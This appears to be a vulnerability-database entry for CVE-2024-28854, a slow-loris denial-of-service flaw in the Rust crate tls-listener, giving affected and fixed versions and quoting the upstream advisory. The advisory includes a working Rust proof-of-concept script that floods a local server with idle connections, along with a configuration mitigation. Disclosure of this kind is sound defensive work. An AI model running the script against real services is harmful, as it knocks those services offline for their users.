Answer in brief
CVE-2024-28854 records a High severity (CVSS 7.5) vulnerability in tls-listener affected by the slow loris vulnerability with default configuration. The current sources do not mark it as known exploited. The current feed maps tls-listener (crates.io). Check affected ranges and fixed versions before updating.
Analysis pending evidence review
HOL Guard separates source facts from reviewed analysis. See the methodology.
CVSS is 7.5. The current sources do not mark it as known exploited. Treat this as a source-backed prioritization signal, not a statement about your environment.
Analysis status
Analysis pending evidence review
Factual feed record only; HOL analysis is not approved for indexing. Read the methodology.
The current feed maps tls-listener (crates.io). Check affected ranges and fixed versions before updating.
| Package | Affected range | Fixed version |
|---|---|---|
| tls-listenercrates.io | >=0 <0.10.0 | 0.10.0 |
Published upstream
Mar 15, 2024
Evidence: source:osv:source_dates:source-dates:recordSource modified
Aug 24, 2026
Evidence: source:osv:source_dates:source-dates:recordFirst seen by HOL
Aug 26, 2026
### Summary With the default configuration of tls-listener, a malicious user can open 6.4 `TcpStream`s a second, sending 0 bytes, and can trigger a DoS. ### Details The default configuration options make any public service using `TlsListener::new()` vulnerable to a slow-loris DoS attack. ```rust /// Default number of concurrent handshakes pub const DEFAULT_MAX_HANDSHAKES: usize = 64; /// Default timeout for the TLS handshake. pub const DEFAULT_HANDSHAKE_TIMEOUT: Duration = Duration::from_secs(10); ``` ### PoC Running the HTTP TLS server example: https://github.com/tmccombs/tls-listener/blob/6c57dea2d9beb1577ae4d80f6eaf03aad4ef3857/examples/http.rs, then running the following script will prevent new connections to the server. ```rust use std::{net::ToSocketAddrs, time::Duration}; use tokio::{io::AsyncReadExt, net::TcpStream, task::JoinSet}; #[tokio::main] async fn main() { const N: usize = 1024; const T: Duration = Duration::from_secs(10); let url = "127.0.0.1:3000"; let sockets: Vec<_> = url .to_socket_addrs() .unwrap() .inspect(|s| println!("{s:?}")) .collect(); let mut js = JoinSet::new(); let mut int = tokio::time::interval(T / (N as u32) / (sockets.len() as u32)); int.set_missed_tick_behavior(tokio::time::MissedTickBehavior::Burst); for _ in 0..10000 { for &socket in &sockets { int.tick().await; js.spawn(async move { let mut stream = TcpStream::connect(socket).await.unwrap(); let _ = tokio::time::timeout(T, stream.read_to_end(&mut Vec::new())).await; }); } } while js.join_next().await.is_some() {} } ``` ### Impact This is an instance of a [slow-loris attack](https://en.wikipedia.org/wiki/Slowloris_(computer_security)). This impacts any publically accessible service using the default configuration of `tls-listener` ### Mitigation Previous versions can mitigate this by passing a large value, such as `usize::MAX` as the parameter to `Builder::max_handshakes`.
Quoted source text, attributed separately from HOL analysis.